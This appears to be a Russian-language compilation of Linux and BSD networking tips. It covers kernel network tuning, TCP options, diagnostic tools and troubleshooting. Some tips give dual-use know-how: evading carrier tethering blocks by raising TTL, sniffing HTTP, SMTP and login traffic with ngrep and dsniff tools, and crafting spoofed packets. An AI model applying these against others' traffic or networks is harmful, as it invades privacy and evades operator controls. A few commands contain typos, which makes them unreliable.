    Слияние прерываний (Interrupt Coalescence - IC) - rx-usecs, tx-usecs,
    rx-frames, tx-frames (аппаратные IRQ)
    
    Что: количество микросекунд / кадров, ожидающих перед поднятием hard IRQ, с
    точки зрения сетевого адаптера это будет пакеты данных DMA до этого тайм-аута /
    количества кадров
    
    Почему: сокращение использования CPUs, аппаратных IRQ, может увеличить
    пропускную способность за счет задержки.
    
    Как:
    
    Команда проверки:
    
       ethtool -c ethX
    
    Как изменить:
    
       ethtool -C ethX rx-usecs value tx-usecs value
    
    Как мониторить:
    
       cat /proc/interrupts
      
    
    Объединение прерываний (soft IRQ) и   управления сетевыми очередями  QDisc
    входящих пакетов (ingress).
    
    
    Что: максимальное число микросекунд в одном NAPI
    (https://en.wikipedia.org/wiki/New_API) цикле опроса. Опрос завершится когда,
    либо `netdev_budget_usecs` истечёт по временя цикла опроса или количество
    обработанных пакетов достигнет `netdev_budget`.
    
    Почему: вместо того чтобы обрабатывать кучу softIRQ, драйвер сохраняет данные в
    пуле (polling data); следите за состояниями `dropped` (число пакетов,
    отброшенных из-за того, что `netdev_max_backlog` был превышен) и  `squeezed`
    (число раз когда ksoftirq превысил `netdev_budget`).
    
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_budget_usecs
    
    Как изменить:
    
       sysctl -w net.core.netdev_budget_usecs value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    Что: `netdev_budget` максимальное количество пакетов, взятых со всех
    интерфейсов за один цикл опроса (NAPI poll). В одном цикле опроса интерфейсы,
    которые зарегистрированы для опроса, зондируются круговым способом. Кроме того,
    цикл опроса не может превышать `netdev_budget_usecs` микросекунд, даже если
    `netdev_budget` не был исчерпан.
    
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_budget
    
    Как изменить:
    
       sysctl -w net.core.netdev_budget value
    
    Как мониторить:
    
    cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    Что: `dev_weight` максимальное количество пакетов, которое ядро может
    обработать при прерывании NAPI, это переменная для каждого процессора. Для
    драйверов, которые поддерживают LRO или GRO_HW, аппаратно агрегированный пакет
    считается в этом пакете одним.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.dev_weight
    
    Как изменить:
    
      sysctl -w net.core.dev_weight value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat 
    
    или скриптом.
    
    
    Что: `netdev_max_backlog` максимальное количество пакетов, находящихся в
    очереди на стороне INPUT (входной qdisc_), когда интерфейс получает пакеты
    быстрее, чем ядро может их обработать.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_max_backlog
    
    Как изменить:
    
       sysctl -w net.core.netdev_max_backlog value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    
    Исходящие QDisc - txqueuelen (длина очереди tx) и default_qdisc
    
    
    Что: `txqueuelen` максимальное количество пакетов, поставленных в очередь на стороне вывода.
    
    Почему: buffer/queue появление разрывов соединений, а также примением контроля трафика
    tc (traffic control).
    
    Как:
    
    Команда проверки:
    
       ifconfig ethX
    
    Как изменить:
    
       ifconfig ethX txqueuelen value
    
    Как мониторить:
    
       ip -s link
    
     
    Что: `default_qdisc` дисциплина очереди по умолчанию, используемая для сетевых устройств.
    
    Почему: Каждое приложение имеет разную нагрузку и требует контроля трафика, оно
    также используется для борьбы с  излишней сетевой буферизацией bufferbloat.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.default_qdisc
    
    
    Как изменить: 
    
       sysctl -w net.core.default_qdisc value
    
    Как мониторить:
    
       tc -s qdisc ls dev ethX
    
    
    Буферы/очереди чтения и записи (TCP Read and Write Buffers/Queues)
    
    Что: `tcp_rmem` - min (минимальный размер доступный при создании сокета),
    default (начальный размер), max (максимальный размер) - максимальный размер
    приёмного буфера TCP.
    
    Почему: буфер/очередь приложения для записи/отправки данных. Понять последствия
    может помочь статья https://blog.cloudflare.com/the-story-of-one-latency-spike/
    
    Как:
    
    Команда проверки:
    
       sysctl net.ipv4.tcp_rmem
    
    Как изменить: 
    
       sysctl -w net.ipv4.tcp_rmem="min default max"
    
    когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
    пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    Что: `tcp_wmem` - min (минимальный размер доступный при создании сокета),
    default (начальный размер), max (максимальный размер) - размер буфера отправки,
    используемого сокетами TCP.
    
    Как:
    
    Команда проверки: 
    
       sysctl net.ipv4.tcp_wmem
    
    
    Как изменить:
    
       sysctl -w net.ipv4.tcp_wmem="min default max"
    
    когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
    пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    
    Что: `tcp_moderate_rcvbuf` - если установлено, TCP выполняет автонастройку
    приёмного буфера, пытаясь автоматически определить размер буфера.
    
    Как:
    
    Команда проверки:
    
      sysctl net.ipv4.tcp_moderate_rcvbuf
    
    Как изменить:
    
       sysctl -w net.ipv4.tcp_moderate_rcvbuf value
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    TCP FSM и алгоритм перегрузки (Honorable mentions - TCP FSM and congestion algorithm)
    
    
  • `sysctl net.core.somaxconn` - обеспечивает верхний предел значения параметра backlog, передаваемого в функцию `listen()` (https://eklitzke.org/how-tcp-sockets-work), известный пользователям как `SOMAXCONN`. Если вы меняете это значение, вы также должны изменить в своём приложении совместимые значения (т.е. nginx backlog).
  • `cat /proc/sys/net/ipv4/tcp_fin_timeout` - указывает количество секунд ожидания окончательного пакета FIN, прежде чем сокет будет принудительно закрыт. Это строго является нарушением спецификации TCP, но требуется для предотвращения атак типа "отказ в обслуживании".
  • `cat /proc/sys/net/ipv4/tcp_available_congestion_control` - показывает доступные варианты управления перегрузкой, которые зарегистрированы.
  • `cat /proc/sys/net/ipv4/tcp_congestion_control` - устанавливает алгоритм управления перегрузкой, используемое для новых соединений.
  • `cat /proc/sys/net/ipv4/tcp_max_syn_backlog` - задаёт максимальное число запросов подключения в очереди, которые еще не получили подтверждения от подключающегося клиента; если это число будет превышено, ядро начнёт отбрасывать запросы.
  • `cat /proc/sys/net/ipv4/tcp_syncookies` - включён/выключен [syn cookies](https://en.wikipedia.org/wiki/SYN_cookies), полезен для защиты от syn flood атак (https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/).
  • `cat /proc/sys/net/ipv4/tcp_slow_start_after_idle` - включён/выключен медленный старт tcp. Как мониторить: общая сводка netstat -atn | awk '/tcp/ {print $6}' | sort | uniq -c счётчики по определённому состоянию: `established`, `syn-sent`, `syn-recv`, `fin-wait-1`, `fin-wait-2`, `time-wait`, `closed`, `close-wait`, `last-ack`, `listening`, `closing`: ss -neopt state time-wait | wc -l` tcp статистика netstat -st более читаемая tcp статистика nstat -a обобщённая статистика сокетов cat /proc/net/sockstat детальная статистика, описание полей смотрите: https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt cat /proc/net/tcp `ListenOverflows` и `ListenDrops` - важные поля для наблюдения cat /proc/net/netstat читаемый вариант /proc/net/netstat (https://sa-chernomor.livejournal.com/9858.html) cat /proc/net/netstat | awk '(f==0) { i=1; while ( i<=NF) {n[i] = $i; i++ }; f=1; next} \ (f==1){ i=2; while ( i<=NF){ printf "%s = %d\n", n[i], $i; i++}; f=0} ' | grep -v "= 0 Источник: https://commons.wikimedia.or/wiki/File:Tcp_state_diagram_fixed_new.svg Сетевые утилиты для тестирования и мониторинга
  • iperf3 (https://iperf.fr/) - пропускная способность сети
  • vegeta (https://github.com/tsenart/vegeta) - нагрузочное тестирование HTTP
  • netdata (https://github.com/firehol/netdata) - система распределённого мониторинга производительности и работоспособности в реальном времени Рекомендации
  • https://www.kernel.org/doc/Documentation/sysctl/net.txt
  • https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt
  • https://www.kernel.org/doc/Documentation/networking/scaling.txt
  • https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt
  • https://www.kernel.org/doc/Documentation/networking/multiqueue.txt
  • http://man7.org/linux/man-pages/man7/tcp.7.html
  • http://man7.org/linux/man-pages/man8/tc.8.html
  • http://www.ece.virginia.edu/cheetah/documents/papers/TCPlinux.pdf
  • https://netdevconf.org/1.2/papers/bbr-netdev-1.2.new.new.pdf
  • https://blog.cloudflare.com/how-to-receive-a-million-packets/
  • https://blog.cloudflare.com/how-to-achieve-low-latency/
  • https://blog.packagecloud.io/eng/2016/06/22/monitoring-tuning-linux-networking-stack-receiving-data/
  • https://www.youtube.com/watch?v=6Fl1rsxk4JQ
  • https://oxnz.github.io/2016/05/03/performance-tuning-networking/
  • https://www.intel.com/content/dam/www/public/us/en/documents/reference-guides/xl710-x710-performance-tuning-linux-guide.pdf
  • https://access.redhat.com/sites/default/files/attachments/20150325_network_performance_tuning.pdf
  • https://medium.com/@matteocroce/linux-and-freebsd-networking-cbadcdb15ddd
  • https://blogs.technet.microsoft.com/networking/2009/08/12/where-do-resets-come-from-no-the-stork-does-not-bring-them/
  • https://www.intel.com/content/dam/www/public/us/en/documents/white-papers/multi-core-processor-based-linux-paper.pdf
  • http://syuu.dokukino.com/2013/05/linux-kernel-features-for-high-speed.html
  • https://www.bufferbloat.net/projects/codel/wiki/Best_practices_for_benchmarking_Codel_and_FQ_Codel/
  • https://software.intel.com/en-us/articles/setting-up-intel-ethernet-flow-director
  • https://courses.engr.illinois.edu/cs423/sp2014/Lectures/LinuxDriver.pdf
  • https://www.coverfire.com/articles/queueing-in-the-linux-network-stack/
  • http://vger.kernel.org/~davem/skb.html
  • https://www.missoulapubliclibrary.org/ftp/LinuxJournal/LJ13-07.pdf
  • https://opensourceforu.com/2016/10/network-performance-monitoring/
  • https://www.yumpu.com/en/document/view/55400902/an-adventure-of-analysis-and-optimisation-of-the-linux-networking-stack
  • https://lwn.net/Articles/616241/
  • https://medium.com/@duhroach/tools-to-profile-networking-performance-3141870d5233
  • https://www.lmax.com/blog/staff-blogs/2016/05/06/navigating-linux-kernel-network-stack-receive-path/
  • https://es.net/host-tuning/100g-tuning/
  • http://tcpipguide.com/free/t_TCPOperationalOverviewandtheTCPFiniteStateMachineF-2.htm
  • http://veithen.github.io/2014/01/01/how-tcp-backlog-works-in-linux.html
  • https://people.cs.clemson.edu/~westall/853/tcpperf.pdf
  • http://tldp.org/HOWTO/Traffic-Control-HOWTO/classless-qdiscs.html
  • https://es.net/assets/Papers-and-Publications/100G-Tuning-TechEx2016.tierney.pdf
  • https://www.kernel.org/doc/ols/2009/ols2009-pages-169-184.pdf
  • https://devcentral.f5.com/articles/the-send-buffer-in-depth-21845
  • http://packetbomb.com/understanding-throughput-and-tcp-windows/
  • https://www.speedguide.net/bdp.php
  • https://www.switch.ch/network/tools/tcp_throughput/
  • https://www.ibm.com/support/knowledgecenter/en/SSQPD3_2.6.0/com.ibm.wllm.doc/usingethtoolrates.html
  • https://blog.tsunanet.net/2011/03/out-of-socket-memory.html
  • https://unix.stackexchange.com/questions/12985/how-to-check-rx-ring-max-backlog-and-max-syn-backlog-size
  • https://serverfault.com/questions/498245/how-to-reduce-number-of-time-wait-processes
  • https://unix.stackexchange.com/questions/419518/how-to-tell-how-much-memory-tcp-buffers-are-actually-using
  • https://eklitzke.org/how-tcp-sockets-work
  • https://www.linux.com/learn/intro-to-linux/2017/7/introduction-ss-command
  • https://staaldraad.github.io/2017/12/20/netstat-without-netstat/
  • https://loicpefferkorn.net/2016/03/linux-network-metrics-why-you-should-use-nstat-instead-of-netstat/
  • http://assimilationsystems.com/2015/12/29/bufferbloat-network-best-practice/
  •  
    ----* Актуальность опции TCP_NODELAY для распределённых приложений (доп. ссылка 1)   [комментарии]
     
    Один из инженеров Amazon Web Services (AWS) разобрал заблуждения, связанные
    с повышением эффективности передачи мелких сообщений при  использовании
    алгоритма Нейгла, применяемого по умолчанию в TCP/IP стеке.
    
    Рекомендации сводятся к отключению по умолчанию алгоритма Нейгла через
    выставление опции TCP_NODELAY для сетевых сокетов при помощи вызова  setsockopt.
    
       setsockopt(descriptor, SOL_TCP, TCP_NODELAY, &one, sizeof(one));
    
    
    Алгоритм Нейгла позволяет агрегировать мелкие сообщения для снижения трафика  -
    приостанавливает отправку новых сегментов TCP до получения подтверждения о
    приёме ранее отправленных данных. Например, без применения агрегирования при
    отправке 1 байта, дополнительно отправляется 40 байтов с заголовками пакета. В
    современных условиях использование  алгоритма Нейгла приводит к заметному
    возрастанию задержек, неприемлемых для интерактивных и распределённых приложений.
    
    Приводится три основных довода в пользу использования по умолчанию опции
    TCP_NODELAY, отключающей алгоритм Нейгла:
    
    1. Несовместимость алгоритма Нейгла  с оптимизацией "delayed ACK", при которой
    ACK-ответ направляется не сразу, а после получения ответных данных. Проблема в
    том, что в алгоритме Нейгла поступление ACK-пакета является сигналом для
    отправки агрегированных данных, а если ACK-пакет не поступил, отправка
    выполняется при наступлении таймаута. Таким образом, возникает замкнутый круг и
    ACK-пакет как сигнал не работает, так как другая сторона не получает данные
    из-за их накопления на стороне отправителя, а отправитель не отправляет их до
    таймаута, так как не получает ACK-пакет.
    
    2. RFC для алгоритма Нейгла принят в 1984 году и он не рассчитан на параметры
    современных высокоскоростных сетей и серверов в датацентрах, что приводит к
    возникновению проблем с отзывчивостью. Задержка между отправкой запроса и
    получением ответа (RTT) в современных сетях составляет 0.5 мс + несколько
    миллисекунд при обмене данными между датацентрами в одном регионе + до сотни
    миллисекунд при отправке по всему миру. За эти миллисекунды современный сервер
    способен выполнить огромный объём работы.
    
    3. Современные распределённые приложения давно не отправляют единичные байты
    данных, а агрегирование мелких данных обычно реализуется на уровне приложения.
    Даже если размер полезных данных составляет 1 байт, то, как правило, фактически
    размер отправляемой информации существенно возрастает после применения
    сериализации,  использования API-обвязок    в JSON и отправки с использованием
    TLS-шифрования. Экономия 40 байтов становится не столь актуальной.
    
     
    ----* Полезные пакеты, которые можно установить на сервер для диагностики сбоев (доп. ссылка 1)   [комментарии]
     
    Минимальный набор пакетов  для диагностики проблем, которые рекомендуется
    заранее установить на серверы, чтобы не тратить время на установку
    дополнительных пакетов или поиск специализированных live-дистрибутивов.
    
    Установка диагностических утилит во время сбоя может превратиться в решение
    отдельной проблемы или потребовать много времени,  учитывая то, что во время
    сбоя может пропадать сетевое соединение, возникнуть проблемы с DNS, наблюдаться
    большие потери пакетов или снижение полосы пропускания, возникать большие
    задержки ввода команд из-за высокой нагрузки на CPU или исчерпания памяти,
    дисковый раздел может быть переведён в режим только для чтения и т.п.
    
    Список пакетов для предустановки (названия для Ubuntu) и поставляемые в них
    диагностические утилиты:
    
    
  • procps - утилиты ps, vmstat, uptime, top
  • util-linux - dmesg, lsblk, lscpu (общая статистика, информация о блочных устройствах и CPU)
  • sysstat - iostat, mpstat, pidstat, sar (оценка производительности)
  • iproute2 - ip, ss, nstat, tc (настройка сети и управление трафиком)
  • numactl - numastat (статистика по NUMA)
  • tcpdump - tcpdump (анализ трафика)
  • linux-tools-common и linux-tools-$(uname -r) - perf, turbostat (профилировние и мониторинг производительности)
  • bpfcc-tools (bcc) - opensnoop, execsnoop, runqlat, softirqs, hardirqs, ext4slower, ext4dist, biotop, biosnoop, biolatency, tcptop, tcplife, trace, argdist, funccount, profile (диагностика на базе eBPF)
  • bpftrace - bpftrace, opensnoop, execsnoop, runqlat, biosnoop (диагностика на базе eBPF)
  • trace-cmd - trace-cmd (CLI-интерфейс для ftrace)
  • nicstat - nicstat (информация о сетевых устройствах)
  • ethtool - ethtool (информация о сетевых устройствах)
  • tiptop - tiptop (PMU/PMC top)
  • cpuid - cpuid (информация о CPU)
  • msr-tools - rdmsr, wrmsr (информация о CPU) sudo apt install procps util-linux sysstat iproute2 numactl tcpdump linux-tools-common linux-tools-$(uname -r) bpfcc-tools bpftrace trace-cmd nicstat ethtool tiptop cpuid msr-tools
  •  
    ----* Обход блокировки сотовыми операторами использования смартфона в качестве точки доступа   [комментарии]
     
    Некоторые сотовые операторы начали вводить в практику блокировку или замедление
    доступа для соединений, установленных со сторонних устройств, подключающихся
    через смартфон, работающий в режиме точки доступа ("tethering").
    
    
    Как правило подобные блокировки основываются на привязке к TTL и обойти их
    можно увеличив TTL с 64 до 65, что скроет наличие дополнительного хоста в цепочке.
    
    В системах на базе ядра Linux:
    
       sysctl net.ipv4.ip_default_ttl=65
    
    Во FreeBSD:
    
       sysctl net.inet.ip.ttl=65
    
    Изменить TTL для транзитных пакетов в Linux можно при помощи пакетного фильтра:
    
       iptables -t mangle -A POSTROUTING -o usb0 -j TTL --ttl-set 65
    
     
    ----* Решение проблемы с uTP-протоколом uTorrent (доп. ссылка 1)   Автор: Zzz  [комментарии]
     
    По многочисленным наблюдениям системных администраторов различных компаний
    предоставляющих доступ к сети интернет, с начала февраля 2010 года наблюдается
    ежедневный лавинообразный рост количества пакетов в сети, их фрагментация, а
    также существенный рост исходящего трафика. Данная проблема связана с новой
    версией торрент-клиента uTorrent вышедшего 3 февраля 2010 года с поддержкой
    протокола uTP, работающего поверх UDP. Призванный снизить нагрузку на
    провайдеров протокол uTP в результате привел к обратному эффекту.
    
    Для относительно безболезненной для клиента фильтрации uTP на шлюзе под
    управлением Linux рекомендуется использовать следующее правило:
    
       /sbin/iptables -I FORWARD -m udp -p udp -m string --hex-string "|7F FF FF FF AB|" --algo kmp \
          --from 40 --to 44 -m statictic --mode random --probability 0.90 -j DROP
    
    Мониторинг работы правила:
    
       iptables -L FORWARD -nv | grep statist
    
    Для FreeBSD правило будет выглядеть следующим образом:
    
       ngctl mkpeer ipfw: bpf 2 main
       ngctl name ipfw:2 utp_filter
       ngctl msg utp_filter: setprogram { thisHook=\"main\" ifMatch=\"\" ifNotMatch=\"main\" bpf_prog_len=12 bpf_prog=[ 
          { code=48 jt=0 jf=0 k=0 } { code=84 jt=0 jf=0 k=240 } { code=21 jt=0 jf=8 k=64 } { code=48 jt=0 jf=0 k=9 } 
          { code=21 jt=0 jf=6 k=17 } { code=40 jt=0 jf=0 k=6 } { code=69 jt=4 jf=0 k=8191 } { code=177 jt=0 jf=0 k=0 } 
          { code=64 jt=0 jf=0 k=20 } { code=21 jt=0 jf=1 k=2147483647 } { code=6 jt=0 jf=0 k=65535 } { code=6 jt=0 jf=0 k=0 } ] }
    
       ipfw add 2 netgraph 2 udp from any to any iplen 0-128
    
    Мониторинг:
    
       ngctl msg utp_filter: getstats \"main\"
    
     
    ----* Tshark для мониторинга запросов http (доп. ссылка 1)   Автор: CHAPPAY  [комментарии]
     
    Tshark из комплекта сниффера Wireshark (http://www.wireshark.org/) позволяет
    наглядно проследить запросы к http-серверу.
    
    Пример для интерфейса eth0:
    
       tshark -npi eth0 -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src -e ip.dst \
          -e http.request.method -e http.host -e http.request.uri 
    
    За одним можно автоматически найти имя интерфейса в Linux и удалить временные
    файлы, которые программа обычно забывает удалять.
    
    Для Linux:
    
       tshark -npi `netstat -rn | grep "^0.0.0.0" | awk '{ print $8 }'` \
          -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src \
          -e ip.dst -e http.request.method -e http.host -e http.request.uri
        rm -f /tmp/ether*
    
    Для FreeBSD:
    
       tshark -npi `netstat -rn | grep "default" | awk '{ print $6 }'` \
          -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src \
          -e ip.dst -e http.request.method -e http.host -e http.request.uri
       rm -f /tmp/ether*
    
    
    Для уменьшения нагрузки можно ограничить выборку пакетами небольшой длины,
    добавив "and less 600", например, "tcp and dst port 80 and less 600".
    
    Другие варианты:
    
    1. утилита urlsnarf из состава пакета dsniff. 
    Также можно отметить и другие похожие утилиты из данного пакета: filesnarf,
    mailsnarf, msgsnarf, webspy, позволяющие перехватывать почтовые сообщения,
    передаваемые файлы и т.п.
    
       urlsnarf -i eth0
       urlsnarf -i eth1 -n .\* tcp port 80 and less 600
    
    2. justniffer (http://justniffer.sourceforge.net/) - выводит перехваченные
    HTTP-пакеты в формате стандартного лога Apache:
    
       justniffer -i eth0
    
    Позволяет оценивать время выполнения запроса:
    
       justniffer -i eth0 -a " %response.time" 
    
    Выводить полный дамп HTTP-заголовков:
    
       justniffer -i eth0 -r 
    
    Самостоятельно определять формат вывода:
    
       justniffer -i eth0 -l " %request.timestamp %source.ip %dest.ip %request.header.host %request.url" 
    
     
    ----* Решение проблемы с крахом Net-SNMP   [обсудить]
     
    В один прекрасный момент Net-SNMP начал слетать с оставлением в логе ошибки:
    
       error on subcontainer 'ia_addr' insert (-1)
       error on subcontainer 'ia_index' insert (-1)
       couldn't map value 56 for ipAddressAddrType
    
    Слетал в произвольный момент после нескольких минут ответов на запросы.
    
    Мониторинг через:
    
       tcpdump -i any -n udp port 161
    
    не показал какой-то зависимости падения от типа входящих запросов.
    
    В итоге оказалось, что случайно на два разных vlan интерфейса добавили один и тот же IP,
    это и приводило к столь странному краху snmpd.
    
    В Linux при большом числе VLAN или PPP интерфейсов, дубликат можно определить командой:
    
       ifconfig|grep 'inet addr'|awk '{print $2}'|sort|uniq -c |sort -n -r|head
    
    При необходимости наличия дубликатов, например, в ситуации когда в нескольких
    виртуальных окружениях
    одинаковые IP, проблему поможет решить патч:
    http://www.redhat.com/archives/fedora-extras-commits/2007-November/msg04807.html
    
     
    ----* Управление дуплексным режимом и скоростью линка в различных ОС. (доп. ссылка 1)   [комментарии]
     
    Solaris
    
       Проверка:
          ndd /dev/hme link_mode
          0 = half duplex, 1 = full duplex
       Установка full duplex:
          ndd -sec /dev/hme adv_100fdx_cap
          ndd -set /dev/hme adv_autoneg_cap 0 
       Установка half duplex:
          ndd -sec /dev/hme adv_100hdx_cap
          ndd -set /dev/hme adv_autoneg_cap 0 
    
    Linux
       Текущее состояние
          mii-tool eth0
          ethtool eth0
       Установка full duplex:
          mii-tool -F 100baseTx-FD eth0
          ethtool -s eth0 speed 1000 duplex full autoneg off
       некоторые драйверы можно настроить через /etc/modules.conf
          options eepro100 options=48
          options 3c59x  options=0x204 full_duplex=0x200
    
    FreeBSD
    
       Установка full duplex:
          ifconfig xl0 media 100baseTX mediaopt full-duplex
       Установка half duplex:
          ifconfig xl0 media 100baseTX mediaopt half-duplex
    
    IBM AIX
    
       Список адаптеров и проверка режима:
          lsdev -HCc adapter
          lsattr -d ent# 
       Установка full duplex:
         chdev  -l ent# -a media_speed=100_Full_Duplex -P
       Установка half duplex:
         chdev  -l ent# -a media_speed=100_Half_Duplex -P
    
    HP-UX
       Список адаптеров и проверка режима:
          lanscan -n  (HP-UX 10.x)
          lanscan -p  (HP-UX 11.x)
          lanadmin -x NMid# (HP-UX 10.x)
          lanadmin -x PPA#  (HP-UX 11.x)
      Установка full duplex:
          lanadmin -X 100FD NMid# (HP-UX 10.x)
          lanadmin -X 100FD PPA#  (HP-UX 11.x)
     Установка half duplex:
          lanadmin -X 100HD NMid# (HP-UX 10.x)
          lanadmin -X 100HD PPA#  (HP-UX 11.x)
    
     
    ----* Как увеличить размер таблицы контроля сессий ip_conntrack в Linux   [комментарии]
     
    Если ядро ругается "kernel: ip_conntrack: table full, dropping packet.", причину флуда 
    (скорее всего вирус или сканирование портов) можно найти по списку /proc/net/ip_conntrack
    Если просто общая загрузка большая, увеличить размер таблицы можно через /proc/sys/net/ipv4/ip_conntrack_max
    
    Также можно увеличить размерность хэша через параметр  hashsize модуля ip_conntrack:
    /etc/modules.conf:
       options ip_conntrack hashsize=N
    
    Более тонкий тюнинг можно произвести через переменные определенные в /proc/sys/net/ipv4/netfilter
    
     
    ----* Примеры использования ngrep для выборки и просмотра содержимого пакетов (доп. ссылка 1)   Автор: Mayank Sharma  [комментарии]
     
    ngrep служит для отображения проходящих сетевых пакетов удовлетворяющих заданной маске.
    Как мне кажется ngrep гораздо проще и удобнее, чем tcpdump. Вот несколько примеров:
    
    Показать содержимое всех пакетов, прошедших по 80 порту, со словом google 
       ngrep google port 80 
    
    Вывод пакетов удовлетворяющих маске по одному в строке, для интерфейса eth0:
       ngrep -i \'game*|chat|recipe\' -W byline -d eth0
    
    Слушать весь SMTP трафик на всех сетевых интерфейсах:
       ngrep -i \'rcpt to|mail from\' -d any tcp port smtp
    
    Показать текущее время для каждого совпадения (кто и когда заходит на машину телнетом):
       ngrep -q -t -wi "login" port 23
    
     
    ----* Почему в FreeBSD 5.3 не работает форвадинг пакетов (ipfw fwd) (доп. ссылка 1)   Автор: Bushi  [комментарии]
     
    Это ошибка в FreeBSD 5.3, патч здесь:
    http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/71910
    
     
    ----* Как сгенерировать IPv6 пакет для отладки сети. (доп. ссылка 1)   [обсудить]
     
    # netwox 142 --device "Eth0" --eth-dst "0:8:9:a:b:c" --ip6-src "fec0:0:0:1::1" 
         --ip6-dst "fec0:0:0:1::2" --tcp-src "1234" --tcp-dst "80" --tcp-syn
    # netwox 142 --device "Eth0" --eth-src "00:11:22:33:44:55" --eth-dst "0:8:9:a:b:c" 
         --ip6-src "fec0:0:0:1::1" --ip6-dst "fec0:0:0:1::2" --tcp-src "1235" --tcp-dst "80" --tcp-syn
    
    142 - код операции "Spoof EthernetIp6Tcp", netwox - http://laurentconstantin.by.ru/ru/
    
     
    ----* Почему при использовании туннеля возникают проблемы с некоторыми хостами. (доп. ссылка 1)   [комментарии]
     
    Выход - поставить на интерфейсе туннеля MTU 1500, вместо 1476.
    Проблема возникает при попытке протолкнуть пакет размером 1500 байт 
    с выставленным DF (don't fragment запрещена фрагментация) битом через интерфейс 1476 байт. 
    Другие решения:
    interface ethernet0 
     ip policy route-map clear-df 
    route-map clear-df permit 10 
     match ip address 101 
     set ip df 0 
    access-list 101 permit tcp 10.1.3.0 0.0.0.255 any 
    
    или
    interface tunnel0 
     ip tcp adjust-mss 1436
    
     
    ----* В чем может быть причина неработы ассиметричного рутинга под Linux. (доп. ссылка 1)   [обсудить]
     
    Linux отказывается маршрутизировать пакеты между двумя сетевыми 
    картами, кода пакет входит через один интерфейс и выходит через другой, если
    включен rp_filter (RFC1812).
    
    Необходимо отключить rp_filter:
       /sbin/sysctl -w net.ipv4.conf.default.rp_filter = 0
       /sbin/sysctl -w net.ipv4.conf.all.rp_filter = 0
    
    Для FreeBSD можно посоветовать:
       в /etc/rc.conf: tcp_extensions="NO"
       или sysctl -w net.inet.tcp.rfc1323=0
       А так же sysctl -w net.inet.tcp.rfc1644=1 и sysctl -w net.inet.tcp.rfc1323=0
    
     
    ----* С чем может быть связаны потери пакетов и нестабильная работа ethernet карт ? (доп. ссылка 1)   [комментарии]
     
    Приходилось сталкиваться с проблемами согласования режимов работы карт Intel EtherExpress 100 и 
    Reltek  RTL-8139 c коммутаторами и концентраторами различных производителей. Несогласование 
    проявляется, например в работе карты в режиме half-duplex, а свича в
    full-duplex и т.д. (в linux: /sbin/mii-tool -F 100baseTx-FD eth0)
    
     
    ----* Почему выкачиваются данные с машины нормально, как только пытаюсь что-то закачать - соединение останавливается, даже через ssh больше 5 мин. не удается поработать. Другие машины работают нормально.   [комментарии]
     
    Неоднократно замечена проблема работы сетевых карт на базе RealTek 8129/8139 (машины под FreeBSD, 
    но с другими ОС тоже проявляется) с некоторыми концентраторами и коммутаторами. 
    Проявляется в замирании  сессий до истечения таймаута. 
    Диагностика: ping -s N remote_ip, при больших N не проходят.
    Решение: Смените сетевую карту, например, на Intel EtherExpress Pro.
    
     
    ----* Почему лог почтового сервера изобилует сообщениями о разрыве по Timeout, часто, при приеме большого объема данных, прокачка останавливается и замирает до истечения таймаута ?   [комментарии]
     
    Вероятные причины: Туннель, блокировка ICMP, "path MTU discovery" и ECN
    (Explicit Congestion Notification,
    ECN проявляется в основном при доступе через Proxy).
    При блокировке ICMP трафика, возможно блокируется не только
    echo_replay/echo_request ICMP сообщения,
    но и другие важные сообщения
    передаваемые по ICMP. При блокировке ICMP сообщений типа 3.4 (fragmentation
    needed and DF set) возможно
    нарушение нормальной фрагментации пакетов, что вполне может проявляться как
    внезапная остановка передачи
    данных большого объема и разрыв сесcии по таймауту, например, если на пути
    трафика встречается туннель.
    Одним из путей решением проблемы, является установка на туннеле MTU > 1500 и
    отмена блокировки ICMP трафика.
    Проблемы с ECN в Linux лечатся: 
        echo 0 >/proc/sys/net/ipv4/tcp_ecn 
    path MTU discovery:
        Linux: echo 1 > /proc/sys/net/ipv4/ip_no_pmtu_disc
        FreeBSD: sysctl -w net.inet.tcp.rfc1323=0
    
     

       Туннелинг, VPN, VLAN

    ----* Выборочное туннелирование сайтов через WireGuard   Автор: Аноним  [комментарии]
     
    Идея проста: на localhost поднимается SOCKS5 proxy, проталкивающий информацию
    на ту сторону туннеля WireGuard. Соответственно, селективность достигается
    путём использования прокси для нужных соединений.
    
    1. Клонируем https://github.com/zhsj/wghttp
    
    2. Ставим golang
    
    3. Собираем
    
         go build
    
    При надобности используем GOOS и GOARCH для кросс-сборки.
    
    4. Читаем
    
         wghttp --help
    
    и изучаем переменные окружения, используемые для конфигурации.
    
    5. Пишем сценарий оболочки/программу, выставляющий переменные окружения в
    нужные значения и запускающий прокси.
    
    6. Пишем unit systemd или используем NSSM/WinSW, запускаем службу. Желательно
    дать сервису минимально возможные права. а именно доступ к файловой системе ему
    не должен быть нужен вообще.
    
    7а. Устанавливаем браузерное дополнение FoxyProxy Standard (имеется порт для
    браузеров на основе Chromium). Конфигурируем его использовать свежеподнятый
    прокси для нужных сайтов.
    
    7б или устанавливаем браузерное дополнение Proxy SwitchyOmega Конфигурируем его
    использовать свежеподнятый прокси для нужных сайтов.
    
    
    7в. В качестве альтернативы можно использовать pac-файлы.
    
    
    8. PROFIT
    
    PS: можно поднять в Docker. 
    docker-compose.yaml
    
